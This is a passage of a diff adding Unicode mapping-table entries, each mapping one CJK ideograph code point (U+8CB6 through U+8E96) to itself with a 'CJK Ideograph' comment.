+ ["\u8CB6", "\u8CB6"], /* CJK Ideograph */
+ ["\u8CB7", "\u8CB7"], /* CJK Ideograph */
+ ["\u8CB8", "\u8CB8"], /* CJK Ideograph */
+ ["\u8CB9", "\u8CB9"], /* CJK Ideograph */
+ ["\u8CBA", "\u8CBA"], /* CJK Ideograph */
+ ["\u8CBB", "\u8CBB"], /* CJK Ideograph */
+ ["\u8CBC", "\u8CBC"], /* CJK Ideograph */
+ ["\u8CBD", "\u8CBD"], /* CJK Ideograph */
+ ["\u8CBE", "\u8CBE"], /* CJK Ideograph */
+ ["\u8CBF", "\u8CBF"], /* CJK Ideograph */
+ ["\u8CC0", "\u8CC0"], /* CJK Ideograph */
+ ["\u8CC1", "\u8CC1"], /* CJK Ideograph */
+ ["\u8CC2", "\u8CC2"], /* CJK Ideograph */
+ ["\u8CC3", "\u8CC3"], /* CJK Ideograph */
+ ["\u8CC4", "\u8CC4"], /* CJK Ideograph */
+ ["\u8CC5", "\u8CC5"], /* CJK Ideograph */
+ ["\u8CC6", "\u8CC6"], /* CJK Ideograph */
+ ["\u8CC7", "\u8CC7"], /* CJK Ideograph */
+ ["\u8CC8", "\u8CC8"], /* CJK Ideograph */
+ ["\u8CC9", "\u8CC9"], /* CJK Ideograph */
+ ["\u8CCA", "\u8CCA"], /* CJK Ideograph */
+ ["\u8CCB", "\u8CCB"], /* CJK Ideograph */
+ ["\u8CCC", "\u8CCC"], /* CJK Ideograph */
+ ["\u8CCD", "\u8CCD"], /* CJK Ideograph */
+ ["\u8CCE", "\u8CCE"], /* CJK Ideograph */
+ ["\u8CCF", "\u8CCF"], /* CJK Ideograph */
+ ["\u8CD0", "\u8CD0"], /* CJK Ideograph */
+ ["\u8CD1", "\u8CD1"], /* CJK Ideograph */
+ ["\u8CD2", "\u8CD2"], /* CJK Ideograph */
+ ["\u8CD3", "\u8CD3"], /* CJK Ideograph */
+ ["\u8CD4", "\u8CD4"], /* CJK Ideograph */
+ ["\u8CD5", "\u8CD5"], /* CJK Ideograph */
+ ["\u8CD6", "\u8CD6"], /* CJK Ideograph */
+ ["\u8CD7", "\u8CD7"], /* CJK Ideograph */
+ ["\u8CD8", "\u8CD8"], /* CJK Ideograph */
+ ["\u8CD9", "\u8CD9"], /* CJK Ideograph */
+ ["\u8CDA", "\u8CDA"], /* CJK Ideograph */
+ ["\u8CDB", "\u8CDB"], /* CJK Ideograph */
+ ["\u8CDC", "\u8CDC"], /* CJK Ideograph */
+ ["\u8CDD", "\u8CDD"], /* CJK Ideograph */
+ ["\u8CDE", "\u8CDE"], /* CJK Ideograph */
+ ["\u8CDF", "\u8CDF"], /* CJK Ideograph */
+ ["\u8CE0", "\u8CE0"], /* CJK Ideograph */
+ ["\u8CE1", "\u8CE1"], /* CJK Ideograph */
+ ["\u8CE2", "\u8CE2"], /* CJK Ideograph */
+ ["\u8CE3", "\u8CE3"], /* CJK Ideograph */
+ ["\u8CE4", "\u8CE4"], /* CJK Ideograph */
+ ["\u8CE5", "\u8CE5"], /* CJK Ideograph */
+ ["\u8CE6", "\u8CE6"], /* CJK Ideograph */
+ ["\u8CE7", "\u8CE7"], /* CJK Ideograph */
+ ["\u8CE8", "\u8CE8"], /* CJK Ideograph */
+ ["\u8CE9", "\u8CE9"], /* CJK Ideograph */
+ ["\u8CEA", "\u8CEA"], /* CJK Ideograph */
+ ["\u8CEB", "\u8CEB"], /* CJK Ideograph */
+ ["\u8CEC", "\u8CEC"], /* CJK Ideograph */
+ ["\u8CED", "\u8CED"], /* CJK Ideograph */
+ ["\u8CEE", "\u8CEE"], /* CJK Ideograph */
+ ["\u8CEF", "\u8CEF"], /* CJK Ideograph */
+ ["\u8CF0", "\u8CF0"], /* CJK Ideograph */
+ ["\u8CF1", "\u8CF1"], /* CJK Ideograph */
+ ["\u8CF2", "\u8CF2"], /* CJK Ideograph */
+ ["\u8CF3", "\u8CF3"], /* CJK Ideograph */
+ ["\u8CF4", "\u8CF4"], /* CJK Ideograph */
+ ["\u8CF5", "\u8CF5"], /* CJK Ideograph */
+ ["\u8CF6", "\u8CF6"], /* CJK Ideograph */
+ ["\u8CF7", "\u8CF7"], /* CJK Ideograph */
+ ["\u8CF8", "\u8CF8"], /* CJK Ideograph */
+ ["\u8CF9", "\u8CF9"], /* CJK Ideograph */
+ ["\u8CFA", "\u8CFA"], /* CJK Ideograph */
+ ["\u8CFB", "\u8CFB"], /* CJK Ideograph */
+ ["\u8CFC", "\u8CFC"], /* CJK Ideograph */
+ ["\u8CFD", "\u8CFD"], /* CJK Ideograph */
+ ["\u8CFE", "\u8CFE"], /* CJK Ideograph */
+ ["\u8CFF", "\u8CFF"], /* CJK Ideograph */
+ ["\u8D00", "\u8D00"], /* CJK Ideograph */
+ ["\u8D01", "\u8D01"], /* CJK Ideograph */
+ ["\u8D02", "\u8D02"], /* CJK Ideograph */
+ ["\u8D03", "\u8D03"], /* CJK Ideograph */
+ ["\u8D04", "\u8D04"], /* CJK Ideograph */
+ ["\u8D05", "\u8D05"], /* CJK Ideograph */
+ ["\u8D06", "\u8D06"], /* CJK Ideograph */
+ ["\u8D07", "\u8D07"], /* CJK Ideograph */
+ ["\u8D08", "\u8D08"], /* CJK Ideograph */
+ ["\u8D09", "\u8D09"], /* CJK Ideograph */
+ ["\u8D0A", "\u8D0A"], /* CJK Ideograph */
+ ["\u8D0B", "\u8D0B"], /* CJK Ideograph */
+ ["\u8D0C", "\u8D0C"], /* CJK Ideograph */
+ ["\u8D0D", "\u8D0D"], /* CJK Ideograph */
+ ["\u8D0E", "\u8D0E"], /* CJK Ideograph */
+ ["\u8D0F", "\u8D0F"], /* CJK Ideograph */
+ ["\u8D10", "\u8D10"], /* CJK Ideograph */
+ ["\u8D11", "\u8D11"], /* CJK Ideograph */
+ ["\u8D12", "\u8D12"], /* CJK Ideograph */
+ ["\u8D13", "\u8D13"], /* CJK Ideograph */
+ ["\u8D14", "\u8D14"], /* CJK Ideograph */
+ ["\u8D15", "\u8D15"], /* CJK Ideograph */
+ ["\u8D16", "\u8D16"], /* CJK Ideograph */
+ ["\u8D17", "\u8D17"], /* CJK Ideograph */
+ ["\u8D18", "\u8D18"], /* CJK Ideograph */
+ ["\u8D19", "\u8D19"], /* CJK Ideograph */
+ ["\u8D1A", "\u8D1A"], /* CJK Ideograph */
+ ["\u8D1B", "\u8D1B"], /* CJK Ideograph */
+ ["\u8D1C", "\u8D1C"], /* CJK Ideograph */
+ ["\u8D1D", "\u8D1D"], /* CJK Ideograph */
+ ["\u8D1E", "\u8D1E"], /* CJK Ideograph */
+ ["\u8D1F", "\u8D1F"], /* CJK Ideograph */
+ ["\u8D20", "\u8D20"], /* CJK Ideograph */
+ ["\u8D21", "\u8D21"], /* CJK Ideograph */
+ ["\u8D22", "\u8D22"], /* CJK Ideograph */
+ ["\u8D23", "\u8D23"], /* CJK Ideograph */
+ ["\u8D24", "\u8D24"], /* CJK Ideograph */
+ ["\u8D25", "\u8D25"], /* CJK Ideograph */
+ ["\u8D26", "\u8D26"], /* CJK Ideograph */
+ ["\u8D27", "\u8D27"], /* CJK Ideograph */
+ ["\u8D28", "\u8D28"], /* CJK Ideograph */
+ ["\u8D29", "\u8D29"], /* CJK Ideograph */
+ ["\u8D2A", "\u8D2A"], /* CJK Ideograph */
+ ["\u8D2B", "\u8D2B"], /* CJK Ideograph */
+ ["\u8D2C", "\u8D2C"], /* CJK Ideograph */
+ ["\u8D2D", "\u8D2D"], /* CJK Ideograph */
+ ["\u8D2E", "\u8D2E"], /* CJK Ideograph */
+ ["\u8D2F", "\u8D2F"], /* CJK Ideograph */
+ ["\u8D30", "\u8D30"], /* CJK Ideograph */
+ ["\u8D31", "\u8D31"], /* CJK Ideograph */
+ ["\u8D32", "\u8D32"], /* CJK Ideograph */
+ ["\u8D33", "\u8D33"], /* CJK Ideograph */
+ ["\u8D34", "\u8D34"], /* CJK Ideograph */
+ ["\u8D35", "\u8D35"], /* CJK Ideograph */
+ ["\u8D36", "\u8D36"], /* CJK Ideograph */
+ ["\u8D37", "\u8D37"], /* CJK Ideograph */
+ ["\u8D38", "\u8D38"], /* CJK Ideograph */
+ ["\u8D39", "\u8D39"], /* CJK Ideograph */
+ ["\u8D3A", "\u8D3A"], /* CJK Ideograph */
+ ["\u8D3B", "\u8D3B"], /* CJK Ideograph */
+ ["\u8D3C", "\u8D3C"], /* CJK Ideograph */
+ ["\u8D3D", "\u8D3D"], /* CJK Ideograph */
+ ["\u8D3E", "\u8D3E"], /* CJK Ideograph */
+ ["\u8D3F", "\u8D3F"], /* CJK Ideograph */
+ ["\u8D40", "\u8D40"], /* CJK Ideograph */
+ ["\u8D41", "\u8D41"], /* CJK Ideograph */
+ ["\u8D42", "\u8D42"], /* CJK Ideograph */
+ ["\u8D43", "\u8D43"], /* CJK Ideograph */
+ ["\u8D44", "\u8D44"], /* CJK Ideograph */
+ ["\u8D45", "\u8D45"], /* CJK Ideograph */
+ ["\u8D46", "\u8D46"], /* CJK Ideograph */
+ ["\u8D47", "\u8D47"], /* CJK Ideograph */
+ ["\u8D48", "\u8D48"], /* CJK Ideograph */
+ ["\u8D49", "\u8D49"], /* CJK Ideograph */
+ ["\u8D4A", "\u8D4A"], /* CJK Ideograph */
+ ["\u8D4B", "\u8D4B"], /* CJK Ideograph */
+ ["\u8D4C", "\u8D4C"], /* CJK Ideograph */
+ ["\u8D4D", "\u8D4D"], /* CJK Ideograph */
+ ["\u8D4E", "\u8D4E"], /* CJK Ideograph */
+ ["\u8D4F", "\u8D4F"], /* CJK Ideograph */
+ ["\u8D50", "\u8D50"], /* CJK Ideograph */
+ ["\u8D51", "\u8D51"], /* CJK Ideograph */
+ ["\u8D52", "\u8D52"], /* CJK Ideograph */
+ ["\u8D53", "\u8D53"], /* CJK Ideograph */
+ ["\u8D54", "\u8D54"], /* CJK Ideograph */
+ ["\u8D55", "\u8D55"], /* CJK Ideograph */
+ ["\u8D56", "\u8D56"], /* CJK Ideograph */
+ ["\u8D57", "\u8D57"], /* CJK Ideograph */
+ ["\u8D58", "\u8D58"], /* CJK Ideograph */
+ ["\u8D59", "\u8D59"], /* CJK Ideograph */
+ ["\u8D5A", "\u8D5A"], /* CJK Ideograph */
+ ["\u8D5B", "\u8D5B"], /* CJK Ideograph */
+ ["\u8D5C", "\u8D5C"], /* CJK Ideograph */
+ ["\u8D5D", "\u8D5D"], /* CJK Ideograph */
+ ["\u8D5E", "\u8D5E"], /* CJK Ideograph */
+ ["\u8D5F", "\u8D5F"], /* CJK Ideograph */
+ ["\u8D60", "\u8D60"], /* CJK Ideograph */
+ ["\u8D61", "\u8D61"], /* CJK Ideograph */
+ ["\u8D62", "\u8D62"], /* CJK Ideograph */
+ ["\u8D63", "\u8D63"], /* CJK Ideograph */
+ ["\u8D64", "\u8D64"], /* CJK Ideograph */
+ ["\u8D65", "\u8D65"], /* CJK Ideograph */
+ ["\u8D66", "\u8D66"], /* CJK Ideograph */
+ ["\u8D67", "\u8D67"], /* CJK Ideograph */
+ ["\u8D68", "\u8D68"], /* CJK Ideograph */
+ ["\u8D69", "\u8D69"], /* CJK Ideograph */
+ ["\u8D6A", "\u8D6A"], /* CJK Ideograph */
+ ["\u8D6B", "\u8D6B"], /* CJK Ideograph */
+ ["\u8D6C", "\u8D6C"], /* CJK Ideograph */
+ ["\u8D6D", "\u8D6D"], /* CJK Ideograph */
+ ["\u8D6E", "\u8D6E"], /* CJK Ideograph */
+ ["\u8D6F", "\u8D6F"], /* CJK Ideograph */
+ ["\u8D70", "\u8D70"], /* CJK Ideograph */
+ ["\u8D71", "\u8D71"], /* CJK Ideograph */
+ ["\u8D72", "\u8D72"], /* CJK Ideograph */
+ ["\u8D73", "\u8D73"], /* CJK Ideograph */
+ ["\u8D74", "\u8D74"], /* CJK Ideograph */
+ ["\u8D75", "\u8D75"], /* CJK Ideograph */
+ ["\u8D76", "\u8D76"], /* CJK Ideograph */
+ ["\u8D77", "\u8D77"], /* CJK Ideograph */
+ ["\u8D78", "\u8D78"], /* CJK Ideograph */
+ ["\u8D79", "\u8D79"], /* CJK Ideograph */
+ ["\u8D7A", "\u8D7A"], /* CJK Ideograph */
+ ["\u8D7B", "\u8D7B"], /* CJK Ideograph */
+ ["\u8D7C", "\u8D7C"], /* CJK Ideograph */
+ ["\u8D7D", "\u8D7D"], /* CJK Ideograph */
+ ["\u8D7E", "\u8D7E"], /* CJK Ideograph */
+ ["\u8D7F", "\u8D7F"], /* CJK Ideograph */
+ ["\u8D80", "\u8D80"], /* CJK Ideograph */
+ ["\u8D81", "\u8D81"], /* CJK Ideograph */
+ ["\u8D82", "\u8D82"], /* CJK Ideograph */
+ ["\u8D83", "\u8D83"], /* CJK Ideograph */
+ ["\u8D84", "\u8D84"], /* CJK Ideograph */
+ ["\u8D85", "\u8D85"], /* CJK Ideograph */
+ ["\u8D86", "\u8D86"], /* CJK Ideograph */
+ ["\u8D87", "\u8D87"], /* CJK Ideograph */
+ ["\u8D88", "\u8D88"], /* CJK Ideograph */
+ ["\u8D89", "\u8D89"], /* CJK Ideograph */
+ ["\u8D8A", "\u8D8A"], /* CJK Ideograph */
+ ["\u8D8B", "\u8D8B"], /* CJK Ideograph */
+ ["\u8D8C", "\u8D8C"], /* CJK Ideograph */
+ ["\u8D8D", "\u8D8D"], /* CJK Ideograph */
+ ["\u8D8E", "\u8D8E"], /* CJK Ideograph */
+ ["\u8D8F", "\u8D8F"], /* CJK Ideograph */
+ ["\u8D90", "\u8D90"], /* CJK Ideograph */
+ ["\u8D91", "\u8D91"], /* CJK Ideograph */
+ ["\u8D92", "\u8D92"], /* CJK Ideograph */
+ ["\u8D93", "\u8D93"], /* CJK Ideograph */
+ ["\u8D94", "\u8D94"], /* CJK Ideograph */
+ ["\u8D95", "\u8D95"], /* CJK Ideograph */
+ ["\u8D96", "\u8D96"], /* CJK Ideograph */
+ ["\u8D97", "\u8D97"], /* CJK Ideograph */
+ ["\u8D98", "\u8D98"], /* CJK Ideograph */
+ ["\u8D99", "\u8D99"], /* CJK Ideograph */
+ ["\u8D9A", "\u8D9A"], /* CJK Ideograph */
+ ["\u8D9B", "\u8D9B"], /* CJK Ideograph */
+ ["\u8D9C", "\u8D9C"], /* CJK Ideograph */
+ ["\u8D9D", "\u8D9D"], /* CJK Ideograph */
+ ["\u8D9E", "\u8D9E"], /* CJK Ideograph */
+ ["\u8D9F", "\u8D9F"], /* CJK Ideograph */
+ ["\u8DA0", "\u8DA0"], /* CJK Ideograph */
+ ["\u8DA1", "\u8DA1"], /* CJK Ideograph */
+ ["\u8DA2", "\u8DA2"], /* CJK Ideograph */
+ ["\u8DA3", "\u8DA3"], /* CJK Ideograph */
+ ["\u8DA4", "\u8DA4"], /* CJK Ideograph */
+ ["\u8DA5", "\u8DA5"], /* CJK Ideograph */
+ ["\u8DA6", "\u8DA6"], /* CJK Ideograph */
+ ["\u8DA7", "\u8DA7"], /* CJK Ideograph */
+ ["\u8DA8", "\u8DA8"], /* CJK Ideograph */
+ ["\u8DA9", "\u8DA9"], /* CJK Ideograph */
+ ["\u8DAA", "\u8DAA"], /* CJK Ideograph */
+ ["\u8DAB", "\u8DAB"], /* CJK Ideograph */
+ ["\u8DAC", "\u8DAC"], /* CJK Ideograph */
+ ["\u8DAD", "\u8DAD"], /* CJK Ideograph */
+ ["\u8DAE", "\u8DAE"], /* CJK Ideograph */
+ ["\u8DAF", "\u8DAF"], /* CJK Ideograph */
+ ["\u8DB0", "\u8DB0"], /* CJK Ideograph */
+ ["\u8DB1", "\u8DB1"], /* CJK Ideograph */
+ ["\u8DB2", "\u8DB2"], /* CJK Ideograph */
+ ["\u8DB3", "\u8DB3"], /* CJK Ideograph */
+ ["\u8DB4", "\u8DB4"], /* CJK Ideograph */
+ ["\u8DB5", "\u8DB5"], /* CJK Ideograph */
+ ["\u8DB6", "\u8DB6"], /* CJK Ideograph */
+ ["\u8DB7", "\u8DB7"], /* CJK Ideograph */
+ ["\u8DB8", "\u8DB8"], /* CJK Ideograph */
+ ["\u8DB9", "\u8DB9"], /* CJK Ideograph */
+ ["\u8DBA", "\u8DBA"], /* CJK Ideograph */
+ ["\u8DBB", "\u8DBB"], /* CJK Ideograph */
+ ["\u8DBC", "\u8DBC"], /* CJK Ideograph */
+ ["\u8DBD", "\u8DBD"], /* CJK Ideograph */
+ ["\u8DBE", "\u8DBE"], /* CJK Ideograph */
+ ["\u8DBF", "\u8DBF"], /* CJK Ideograph */
+ ["\u8DC0", "\u8DC0"], /* CJK Ideograph */
+ ["\u8DC1", "\u8DC1"], /* CJK Ideograph */
+ ["\u8DC2", "\u8DC2"], /* CJK Ideograph */
+ ["\u8DC3", "\u8DC3"], /* CJK Ideograph */
+ ["\u8DC4", "\u8DC4"], /* CJK Ideograph */
+ ["\u8DC5", "\u8DC5"], /* CJK Ideograph */
+ ["\u8DC6", "\u8DC6"], /* CJK Ideograph */
+ ["\u8DC7", "\u8DC7"], /* CJK Ideograph */
+ ["\u8DC8", "\u8DC8"], /* CJK Ideograph */
+ ["\u8DC9", "\u8DC9"], /* CJK Ideograph */
+ ["\u8DCA", "\u8DCA"], /* CJK Ideograph */
+ ["\u8DCB", "\u8DCB"], /* CJK Ideograph */
+ ["\u8DCC", "\u8DCC"], /* CJK Ideograph */
+ ["\u8DCD", "\u8DCD"], /* CJK Ideograph */
+ ["\u8DCE", "\u8DCE"], /* CJK Ideograph */
+ ["\u8DCF", "\u8DCF"], /* CJK Ideograph */
+ ["\u8DD0", "\u8DD0"], /* CJK Ideograph */
+ ["\u8DD1", "\u8DD1"], /* CJK Ideograph */
+ ["\u8DD2", "\u8DD2"], /* CJK Ideograph */
+ ["\u8DD3", "\u8DD3"], /* CJK Ideograph */
+ ["\u8DD4", "\u8DD4"], /* CJK Ideograph */
+ ["\u8DD5", "\u8DD5"], /* CJK Ideograph */
+ ["\u8DD6", "\u8DD6"], /* CJK Ideograph */
+ ["\u8DD7", "\u8DD7"], /* CJK Ideograph */
+ ["\u8DD8", "\u8DD8"], /* CJK Ideograph */
+ ["\u8DD9", "\u8DD9"], /* CJK Ideograph */
+ ["\u8DDA", "\u8DDA"], /* CJK Ideograph */
+ ["\u8DDB", "\u8DDB"], /* CJK Ideograph */
+ ["\u8DDC", "\u8DDC"], /* CJK Ideograph */
+ ["\u8DDD", "\u8DDD"], /* CJK Ideograph */
+ ["\u8DDE", "\u8DDE"], /* CJK Ideograph */
+ ["\u8DDF", "\u8DDF"], /* CJK Ideograph */
+ ["\u8DE0", "\u8DE0"], /* CJK Ideograph */
+ ["\u8DE1", "\u8DE1"], /* CJK Ideograph */
+ ["\u8DE2", "\u8DE2"], /* CJK Ideograph */
+ ["\u8DE3", "\u8DE3"], /* CJK Ideograph */
+ ["\u8DE4", "\u8DE4"], /* CJK Ideograph */
+ ["\u8DE5", "\u8DE5"], /* CJK Ideograph */
+ ["\u8DE6", "\u8DE6"], /* CJK Ideograph */
+ ["\u8DE7", "\u8DE7"], /* CJK Ideograph */
+ ["\u8DE8", "\u8DE8"], /* CJK Ideograph */
+ ["\u8DE9", "\u8DE9"], /* CJK Ideograph */
+ ["\u8DEA", "\u8DEA"], /* CJK Ideograph */
+ ["\u8DEB", "\u8DEB"], /* CJK Ideograph */
+ ["\u8DEC", "\u8DEC"], /* CJK Ideograph */
+ ["\u8DED", "\u8DED"], /* CJK Ideograph */
+ ["\u8DEE", "\u8DEE"], /* CJK Ideograph */
+ ["\u8DEF", "\u8DEF"], /* CJK Ideograph */
+ ["\u8DF0", "\u8DF0"], /* CJK Ideograph */
+ ["\u8DF1", "\u8DF1"], /* CJK Ideograph */
+ ["\u8DF2", "\u8DF2"], /* CJK Ideograph */
+ ["\u8DF3", "\u8DF3"], /* CJK Ideograph */
+ ["\u8DF4", "\u8DF4"], /* CJK Ideograph */
+ ["\u8DF5", "\u8DF5"], /* CJK Ideograph */
+ ["\u8DF6", "\u8DF6"], /* CJK Ideograph */
+ ["\u8DF7", "\u8DF7"], /* CJK Ideograph */
+ ["\u8DF8", "\u8DF8"], /* CJK Ideograph */
+ ["\u8DF9", "\u8DF9"], /* CJK Ideograph */
+ ["\u8DFA", "\u8DFA"], /* CJK Ideograph */
+ ["\u8DFB", "\u8DFB"], /* CJK Ideograph */
+ ["\u8DFC", "\u8DFC"], /* CJK Ideograph */
+ ["\u8DFD", "\u8DFD"], /* CJK Ideograph */
+ ["\u8DFE", "\u8DFE"], /* CJK Ideograph */
+ ["\u8DFF", "\u8DFF"], /* CJK Ideograph */
+ ["\u8E00", "\u8E00"], /* CJK Ideograph */
+ ["\u8E01", "\u8E01"], /* CJK Ideograph */
+ ["\u8E02", "\u8E02"], /* CJK Ideograph */
+ ["\u8E03", "\u8E03"], /* CJK Ideograph */
+ ["\u8E04", "\u8E04"], /* CJK Ideograph */
+ ["\u8E05", "\u8E05"], /* CJK Ideograph */
+ ["\u8E06", "\u8E06"], /* CJK Ideograph */
+ ["\u8E07", "\u8E07"], /* CJK Ideograph */
+ ["\u8E08", "\u8E08"], /* CJK Ideograph */
+ ["\u8E09", "\u8E09"], /* CJK Ideograph */
+ ["\u8E0A", "\u8E0A"], /* CJK Ideograph */
+ ["\u8E0B", "\u8E0B"], /* CJK Ideograph */
+ ["\u8E0C", "\u8E0C"], /* CJK Ideograph */
+ ["\u8E0D", "\u8E0D"], /* CJK Ideograph */
+ ["\u8E0E", "\u8E0E"], /* CJK Ideograph */
+ ["\u8E0F", "\u8E0F"], /* CJK Ideograph */
+ ["\u8E10", "\u8E10"], /* CJK Ideograph */
+ ["\u8E11", "\u8E11"], /* CJK Ideograph */
+ ["\u8E12", "\u8E12"], /* CJK Ideograph */
+ ["\u8E13", "\u8E13"], /* CJK Ideograph */
+ ["\u8E14", "\u8E14"], /* CJK Ideograph */
+ ["\u8E15", "\u8E15"], /* CJK Ideograph */
+ ["\u8E16", "\u8E16"], /* CJK Ideograph */
+ ["\u8E17", "\u8E17"], /* CJK Ideograph */
+ ["\u8E18", "\u8E18"], /* CJK Ideograph */
+ ["\u8E19", "\u8E19"], /* CJK Ideograph */
+ ["\u8E1A", "\u8E1A"], /* CJK Ideograph */
+ ["\u8E1B", "\u8E1B"], /* CJK Ideograph */
+ ["\u8E1C", "\u8E1C"], /* CJK Ideograph */
+ ["\u8E1D", "\u8E1D"], /* CJK Ideograph */
+ ["\u8E1E", "\u8E1E"], /* CJK Ideograph */
+ ["\u8E1F", "\u8E1F"], /* CJK Ideograph */
+ ["\u8E20", "\u8E20"], /* CJK Ideograph */
+ ["\u8E21", "\u8E21"], /* CJK Ideograph */
+ ["\u8E22", "\u8E22"], /* CJK Ideograph */
+ ["\u8E23", "\u8E23"], /* CJK Ideograph */
+ ["\u8E24", "\u8E24"], /* CJK Ideograph */
+ ["\u8E25", "\u8E25"], /* CJK Ideograph */
+ ["\u8E26", "\u8E26"], /* CJK Ideograph */
+ ["\u8E27", "\u8E27"], /* CJK Ideograph */
+ ["\u8E28", "\u8E28"], /* CJK Ideograph */
+ ["\u8E29", "\u8E29"], /* CJK Ideograph */
+ ["\u8E2A", "\u8E2A"], /* CJK Ideograph */
+ ["\u8E2B", "\u8E2B"], /* CJK Ideograph */
+ ["\u8E2C", "\u8E2C"], /* CJK Ideograph */
+ ["\u8E2D", "\u8E2D"], /* CJK Ideograph */
+ ["\u8E2E", "\u8E2E"], /* CJK Ideograph */
+ ["\u8E2F", "\u8E2F"], /* CJK Ideograph */
+ ["\u8E30", "\u8E30"], /* CJK Ideograph */
+ ["\u8E31", "\u8E31"], /* CJK Ideograph */
+ ["\u8E32", "\u8E32"], /* CJK Ideograph */
+ ["\u8E33", "\u8E33"], /* CJK Ideograph */
+ ["\u8E34", "\u8E34"], /* CJK Ideograph */
+ ["\u8E35", "\u8E35"], /* CJK Ideograph */
+ ["\u8E36", "\u8E36"], /* CJK Ideograph */
+ ["\u8E37", "\u8E37"], /* CJK Ideograph */
+ ["\u8E38", "\u8E38"], /* CJK Ideograph */
+ ["\u8E39", "\u8E39"], /* CJK Ideograph */
+ ["\u8E3A", "\u8E3A"], /* CJK Ideograph */
+ ["\u8E3B", "\u8E3B"], /* CJK Ideograph */
+ ["\u8E3C", "\u8E3C"], /* CJK Ideograph */
+ ["\u8E3D", "\u8E3D"], /* CJK Ideograph */
+ ["\u8E3E", "\u8E3E"], /* CJK Ideograph */
+ ["\u8E3F", "\u8E3F"], /* CJK Ideograph */
+ ["\u8E40", "\u8E40"], /* CJK Ideograph */
+ ["\u8E41", "\u8E41"], /* CJK Ideograph */
+ ["\u8E42", "\u8E42"], /* CJK Ideograph */
+ ["\u8E43", "\u8E43"], /* CJK Ideograph */
+ ["\u8E44", "\u8E44"], /* CJK Ideograph */
+ ["\u8E45", "\u8E45"], /* CJK Ideograph */
+ ["\u8E46", "\u8E46"], /* CJK Ideograph */
+ ["\u8E47", "\u8E47"], /* CJK Ideograph */
+ ["\u8E48", "\u8E48"], /* CJK Ideograph */
+ ["\u8E49", "\u8E49"], /* CJK Ideograph */
+ ["\u8E4A", "\u8E4A"], /* CJK Ideograph */
+ ["\u8E4B", "\u8E4B"], /* CJK Ideograph */
+ ["\u8E4C", "\u8E4C"], /* CJK Ideograph */
+ ["\u8E4D", "\u8E4D"], /* CJK Ideograph */
+ ["\u8E4E", "\u8E4E"], /* CJK Ideograph */
+ ["\u8E4F", "\u8E4F"], /* CJK Ideograph */
+ ["\u8E50", "\u8E50"], /* CJK Ideograph */
+ ["\u8E51", "\u8E51"], /* CJK Ideograph */
+ ["\u8E52", "\u8E52"], /* CJK Ideograph */
+ ["\u8E53", "\u8E53"], /* CJK Ideograph */
+ ["\u8E54", "\u8E54"], /* CJK Ideograph */
+ ["\u8E55", "\u8E55"], /* CJK Ideograph */
+ ["\u8E56", "\u8E56"], /* CJK Ideograph */
+ ["\u8E57", "\u8E57"], /* CJK Ideograph */
+ ["\u8E58", "\u8E58"], /* CJK Ideograph */
+ ["\u8E59", "\u8E59"], /* CJK Ideograph */
+ ["\u8E5A", "\u8E5A"], /* CJK Ideograph */
+ ["\u8E5B", "\u8E5B"], /* CJK Ideograph */
+ ["\u8E5C", "\u8E5C"], /* CJK Ideograph */
+ ["\u8E5D", "\u8E5D"], /* CJK Ideograph */
+ ["\u8E5E", "\u8E5E"], /* CJK Ideograph */
+ ["\u8E5F", "\u8E5F"], /* CJK Ideograph */
+ ["\u8E60", "\u8E60"], /* CJK Ideograph */
+ ["\u8E61", "\u8E61"], /* CJK Ideograph */
+ ["\u8E62", "\u8E62"], /* CJK Ideograph */
+ ["\u8E63", "\u8E63"], /* CJK Ideograph */
+ ["\u8E64", "\u8E64"], /* CJK Ideograph */
+ ["\u8E65", "\u8E65"], /* CJK Ideograph */
+ ["\u8E66", "\u8E66"], /* CJK Ideograph */
+ ["\u8E67", "\u8E67"], /* CJK Ideograph */
+ ["\u8E68", "\u8E68"], /* CJK Ideograph */
+ ["\u8E69", "\u8E69"], /* CJK Ideograph */
+ ["\u8E6A", "\u8E6A"], /* CJK Ideograph */
+ ["\u8E6B", "\u8E6B"], /* CJK Ideograph */
+ ["\u8E6C", "\u8E6C"], /* CJK Ideograph */
+ ["\u8E6D", "\u8E6D"], /* CJK Ideograph */
+ ["\u8E6E", "\u8E6E"], /* CJK Ideograph */
+ ["\u8E6F", "\u8E6F"], /* CJK Ideograph */
+ ["\u8E70", "\u8E70"], /* CJK Ideograph */
+ ["\u8E71", "\u8E71"], /* CJK Ideograph */
+ ["\u8E72", "\u8E72"], /* CJK Ideograph */
+ ["\u8E73", "\u8E73"], /* CJK Ideograph */
+ ["\u8E74", "\u8E74"], /* CJK Ideograph */
+ ["\u8E75", "\u8E75"], /* CJK Ideograph */
+ ["\u8E76", "\u8E76"], /* CJK Ideograph */
+ ["\u8E77", "\u8E77"], /* CJK Ideograph */
+ ["\u8E78", "\u8E78"], /* CJK Ideograph */
+ ["\u8E79", "\u8E79"], /* CJK Ideograph */
+ ["\u8E7A", "\u8E7A"], /* CJK Ideograph */
+ ["\u8E7B", "\u8E7B"], /* CJK Ideograph */
+ ["\u8E7C", "\u8E7C"], /* CJK Ideograph */
+ ["\u8E7D", "\u8E7D"], /* CJK Ideograph */
+ ["\u8E7E", "\u8E7E"], /* CJK Ideograph */
+ ["\u8E7F", "\u8E7F"], /* CJK Ideograph */
+ ["\u8E80", "\u8E80"], /* CJK Ideograph */
+ ["\u8E81", "\u8E81"], /* CJK Ideograph */
+ ["\u8E82", "\u8E82"], /* CJK Ideograph */
+ ["\u8E83", "\u8E83"], /* CJK Ideograph */
+ ["\u8E84", "\u8E84"], /* CJK Ideograph */
+ ["\u8E85", "\u8E85"], /* CJK Ideograph */
+ ["\u8E86", "\u8E86"], /* CJK Ideograph */
+ ["\u8E87", "\u8E87"], /* CJK Ideograph */
+ ["\u8E88", "\u8E88"], /* CJK Ideograph */
+ ["\u8E89", "\u8E89"], /* CJK Ideograph */
+ ["\u8E8A", "\u8E8A"], /* CJK Ideograph */
+ ["\u8E8B", "\u8E8B"], /* CJK Ideograph */
+ ["\u8E8C", "\u8E8C"], /* CJK Ideograph */
+ ["\u8E8D", "\u8E8D"], /* CJK Ideograph */
+ ["\u8E8E", "\u8E8E"], /* CJK Ideograph */
+ ["\u8E8F", "\u8E8F"], /* CJK Ideograph */
+ ["\u8E90", "\u8E90"], /* CJK Ideograph */
+ ["\u8E91", "\u8E91"], /* CJK Ideograph */
+ ["\u8E92", "\u8E92"], /* CJK Ideograph */
+ ["\u8E93", "\u8E93"], /* CJK Ideograph */
+ ["\u8E94", "\u8E94"], /* CJK Ideograph */
+ ["\u8E95", "\u8E95"], /* CJK Ideograph */
+ ["\u8E96", "\u8E96"], /* CJK Ideograph */
